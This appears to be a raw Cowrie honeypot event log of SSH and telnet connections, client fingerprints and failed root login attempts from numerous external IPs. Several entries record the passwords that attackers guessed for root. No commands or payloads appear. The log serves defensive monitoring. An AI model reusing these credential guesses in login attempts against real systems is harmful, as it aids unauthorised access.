{"eventid":"cowrie.session.closed","duration":41.61057710647583,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:32.770148Z","src_ip":"192.119.13.58","session":"71cd289b4ea9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:33.327806Z","src_ip":"103.98.149.87","session":"2b72911e9457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.1364483833313,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:40.636128Z","src_ip":"192.119.13.58","session":"cc8725975c3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.834575176239014,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:41.739294Z","src_ip":"192.119.13.58","session":"1e637deb75ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.722670793533325,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:42.893734Z","src_ip":"192.119.13.58","session":"fa92af21ea33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56282,"dst_ip":"10.17.0.5","dst_port":23,"session":"d19537d0776b","protocol":"telnet","message":"New connection: 192.119.13.58:56282 (10.17.0.5:23) [session: d19537d0776b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:43.444646Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":54258,"dst_ip":"159.203.135.109","dst_port":22,"session":"107c624252d3","protocol":"ssh","message":"New connection: 185.236.22.41:54258 (159.203.135.109:22) [session: 107c624252d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:48.921988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:48.928706Z","src_ip":"185.236.22.41","session":"107c624252d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:49.054505Z","src_ip":"185.236.22.41","session":"107c624252d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikanika","message":"login attempt [root/nikanika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:49.438148Z","src_ip":"185.236.22.41","session":"107c624252d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48600,"dst_ip":"10.17.0.5","dst_port":22,"session":"894c8bb3770f","protocol":"ssh","message":"New connection: 51.250.105.222:48600 (10.17.0.5:22) [session: 894c8bb3770f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:50.511545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:50.517330Z","src_ip":"51.250.105.222","session":"894c8bb3770f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:50.648689Z","src_ip":"51.250.105.222","session":"894c8bb3770f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:50.687876Z","src_ip":"185.236.22.41","session":"107c624252d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:51.045046Z","src_ip":"51.250.105.222","session":"894c8bb3770f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:52.178890Z","src_ip":"51.250.105.222","session":"894c8bb3770f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":41566,"dst_ip":"159.203.135.109","dst_port":22,"session":"51d939970e0f","protocol":"ssh","message":"New connection: 170.106.188.200:41566 (159.203.135.109:22) [session: 51d939970e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:53.082388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:53.087313Z","src_ip":"170.106.188.200","session":"51d939970e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:53.155257Z","src_ip":"170.106.188.200","session":"51d939970e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"..","message":"login attempt [root/..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:53.458743Z","src_ip":"170.106.188.200","session":"51d939970e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:54:54.530495Z","src_ip":"170.106.188.200","session":"51d939970e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":37994,"dst_ip":"159.203.135.109","dst_port":22,"session":"d94f5afc8ff5","protocol":"ssh","message":"New connection: 103.195.236.96:37994 (159.203.135.109:22) [session: d94f5afc8ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:02.502064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:02.507577Z","src_ip":"103.195.236.96","session":"d94f5afc8ff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:02.753094Z","src_ip":"103.195.236.96","session":"d94f5afc8ff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:03.577225Z","src_ip":"103.195.236.96","session":"d94f5afc8ff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:04.832980Z","src_ip":"103.195.236.96","session":"d94f5afc8ff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54418,"dst_ip":"10.17.0.5","dst_port":23,"session":"b71de1b4af05","protocol":"telnet","message":"New connection: 192.119.13.58:54418 (10.17.0.5:23) [session: b71de1b4af05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:11.511405Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56194,"dst_ip":"10.17.0.5","dst_port":23,"session":"d838716e976d","protocol":"telnet","message":"New connection: 192.119.13.58:56194 (10.17.0.5:23) [session: d838716e976d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:19.436500Z"}
{"eventid":"cowrie.session.closed","duration":36.40370726585388,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:19.848228Z","src_ip":"192.119.13.58","session":"d19537d0776b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59782,"dst_ip":"10.17.0.5","dst_port":23,"session":"13228368c281","protocol":"telnet","message":"New connection: 192.119.13.58:59782 (10.17.0.5:23) [session: 13228368c281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:20.424492Z"}
{"eventid":"cowrie.session.closed","duration":0.0058252811431884766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:20.430187Z","src_ip":"192.119.13.58","session":"13228368c281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44342,"dst_ip":"10.17.0.5","dst_port":23,"session":"63f5aaa9393d","protocol":"telnet","message":"New connection: 192.119.13.58:44342 (10.17.0.5:23) [session: 63f5aaa9393d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:23.598787Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":45480,"dst_ip":"159.203.135.109","dst_port":22,"session":"73a4ea1d80da","protocol":"ssh","message":"New connection: 103.101.216.219:45480 (159.203.135.109:22) [session: 73a4ea1d80da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:27.262956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:27.269635Z","src_ip":"103.101.216.219","session":"73a4ea1d80da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:27.507848Z","src_ip":"103.101.216.219","session":"73a4ea1d80da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2095","message":"login attempt [root/2095] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:28.492572Z","src_ip":"103.101.216.219","session":"73a4ea1d80da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:29.737044Z","src_ip":"103.101.216.219","session":"73a4ea1d80da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42600,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbf0c027bd5a","protocol":"ssh","message":"New connection: 77.94.47.83:42600 (10.17.0.5:22) [session: cbf0c027bd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:33.973383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:33.978944Z","src_ip":"77.94.47.83","session":"cbf0c027bd5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:34.107521Z","src_ip":"77.94.47.83","session":"cbf0c027bd5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty666","message":"login attempt [root/qwerty666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:34.489893Z","src_ip":"77.94.47.83","session":"cbf0c027bd5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:35.619984Z","src_ip":"77.94.47.83","session":"cbf0c027bd5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41916,"dst_ip":"10.17.0.5","dst_port":23,"session":"16916ef81534","protocol":"telnet","message":"New connection: 192.119.13.58:41916 (10.17.0.5:23) [session: 16916ef81534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:44.231200Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44684,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0bc901de452","protocol":"telnet","message":"New connection: 192.119.13.58:44684 (10.17.0.5:23) [session: f0bc901de452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:44.987772Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47048,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc21ad45976c","protocol":"telnet","message":"New connection: 192.119.13.58:47048 (10.17.0.5:23) [session: bc21ad45976c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:45.565444Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51728,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e26ca426f5","protocol":"telnet","message":"New connection: 192.119.13.58:51728 (10.17.0.5:23) [session: d5e26ca426f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:46.747027Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":46752,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce002ea4984f","protocol":"ssh","message":"New connection: 186.4.240.226:46752 (159.203.135.109:22) [session: ce002ea4984f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:47.682750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:47.687490Z","src_ip":"186.4.240.226","session":"ce002ea4984f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:47.777870Z","src_ip":"186.4.240.226","session":"ce002ea4984f","protocol":"ssh"}
